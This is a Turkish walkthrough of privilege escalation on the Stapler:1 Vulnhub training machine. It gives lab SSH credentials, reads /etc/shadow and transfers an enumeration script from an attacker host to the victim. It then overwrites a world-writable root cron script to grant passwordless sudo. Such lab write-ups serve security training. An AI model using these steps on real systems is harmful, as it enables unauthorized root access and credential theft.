Yazıda kullanılan Stapler:1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/stapler-1,150/
Bu makineye aşağıdaki bilgiler ile SSH servisi üzerinden erişim sağlanabilir.
Kullanıcı Adı: SHayslett
Parola: SHayslett
veya
Kullanıcı Adı: peter
Parola: JZQuyIN5
veya
Kullanıcı Adı: JKanode
Parola: thisimypassword
Linux işletim sistemine standart kullanıcı yetkisine sahip bir kullanıcı (SHayslett) ile erişime sahip olunduğu görülmektedir.
id
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd | head -3
grep -Ev “/bin/false$|/usr/sbin/nologin$” /etc/passwd | tail -10
cat /etc/shadow
Muhtemel hak yükseltme zafiyetlerinin listesi için linux-local-enum isimli Bash betiği (Quick Linux Local Enumeration Script) kullanılabilir. Kurban makinenin internet bağlantısının olmadığı senaryo için ilgili betik saldırgan makineye indirilir.
wget https://highon.coffee/downloads/linux-local-enum.sh
İndirilen dosya bir servis (web gibi) üzerinden erişime açılır ve kurban makineye aktarılır.
md5sum linux-local-enum.sh
python -m SimpleHTTPServer 8888wget 172.20.50.128:8888/linux-local-enum.sh
ls -la linux-local-enum.sh
Betik çıktısı uzun olduğu için bir dosyaya yazdırılması gerekebilir.
chmod +x linux-local-enum.sh
ls -la linux-local-enum.sh
./linux-local-enum.sh 2>/dev/null 1> Sonuc.txt
tail -2310 Sonuc.txt | head -35
Gerçekleştirilen tüm kontrollerin listesi aşağıdaki gibidir.
cat Sonuc.txt | grep “## ”
Linux Version
Kernel Info
Network Info
File System Info
Mounted File Systems with Pretty Output
/etc/fstab File Contents
/etc/passwd File Contents
/etc/passwd File Contents
/etc/group File Contents
/etc/sudoers File Contents
Sticky Bit Files
World Writable Directories
World Writable FIles
Files Owned by Current User
/home and /root Permissions
Logged on Users
Last Logged on Users
Processes Running as root
Installed Packages for RHEL / Debian Based Systems
CentOS / RHEL Services that start at Boot
List of init Scripts aka System Services
Hak yükseltme zafiyetleri incelendiğinde “cron-logrotate.sh” adlı bir dosyanın herkes tarafından yazılabilir olduğuğu görülmektedir. Hatta bu dosyanın sahibinin “root” olduğu, erişim yetkilendirmesinin ise 777 olarak bırakıldığı görülmektedir.
cat Sonuc.txt | grep -i “World Writable FIles” -A6 -B3
ls -la /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
“cron-logrotate.sh” dosyasını çağıran dosyalar listelendiğinde 5 dakikada bir çalışan “logrotate” adlı zamanlanmış görev tespit edilmektedir.
grep -rnw ‘/’ -e ‘cron-logrotate.sh’ 2>/dev/null
Hak yükseltmek için “cron-logrotate.sh” dosya içeriğine çalıştırılabilir ve hak yükseltmeye yarayan bir ifade yazılarak zamanlanmış görevin çalışması beklenir.
cat /etc/sudoers
sudo -l
cat /usr/local/sbin/cron-logrotate.sh
echo ‘echo “SHayslett ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’
echo ‘echo “SHayslett ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers’ > /usr/local/sbin/cron-logrotate.sh
cat /usr/local/sbin/cron-logrotate.sh
date
Bir süre sonra zamanlanmış görev çalışarak hak yükseltilmiş olur.
date
sudo -l
cat /etc/sudoers
sudo cat /etc/sudoers | tail -5
Böylece “root” yetkileri ile komut satırına erişim sağlanılmış olur.
sudo su –
id
head -3 /etc/shadow
Kaynaklar: